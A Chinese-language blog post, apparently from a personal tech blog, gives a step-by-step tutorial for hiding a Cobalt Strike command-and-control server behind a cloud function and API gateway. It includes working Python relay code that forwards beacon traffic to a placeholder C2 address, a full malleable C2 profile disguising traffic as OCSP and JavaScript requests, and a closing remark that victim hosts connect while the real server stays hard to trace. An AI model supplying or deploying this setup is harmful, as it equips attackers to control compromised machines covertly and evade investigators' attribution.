云函数隐藏C2服务器

云函数隐藏C2服务器

前言

  基于CS,隐藏C2服务端有很多手段,常见如下:

  1.利用域前置

  2.走cdn域名

  3.利用云厂商服务

  其中域前置技术在18年及更早还比较有效,现在越来越多云厂商如cloudflare开始禁止域前置行为

  云函数核心思想其实很简单,就是由第三方提供的服务接收C2客户端流量,转发给C2服务端,避免直接暴露服务端。

正文

  首先创建一个云函数,创建方式选择自定义创建

  点击完成创建。

  进入函数,选择触发管理,选择API网关触发

   随后点击API服务名,进入API服务

   选择编辑,修改配置

  点击立即完成,发布

  在API基础配置里记录公网访问地址

  返回函数管理

  选择修改函数代码,将内容改成如下即可

# -*- coding: utf8 -*- 
import json,requests,base64 
def main_handler(event, context): 
    response = {} 
    path = None 
    headers = None 
    try:
        C2='http://IP:PORT' 
        if 'path' in event.keys(): 
            path=event['path'] 
        if 'headers' in event.keys(): 
            headers=event['headers'] 
        if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' : 
            resp=requests.get(C2+path,headers=headers,verify=False) 
        else: 
            resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False) 
            print(resp.headers)
            print(resp.content) 
        response={ 
            "isBase64Encoded": True, 
            "statusCode": resp.status_code, 
            "headers": dict(resp.headers), 
            "body": str(base64.b64encode(resp.content))[2:-1] 
        } 
    except Exception as e: 
        print(e) 
    finally: 
        return response
  部署发布即可,随后在服务器的Cobaltstrike目录下,新建cloud.profile文件,内容如下
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0";
http-get {
    set uri "/api/x";
    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "nginx";
        output {
            base64;
            print;
        }
    }
}
http-stager {
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
       }
        output {
            base64;
            print;
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

  随后打开Cobaltstrike,加载cloud.profile,创建监听器,HTTP HOST为之前记录的API网关地址,注意是80端口的那个

  随后受害主机正常上线,但是已经经历了云函数隐匿,很难被溯源到真实地址。
posted @ 2021-11-28 10:28  小小小怪将军  阅读(1182)  评论(0编辑  收藏  举报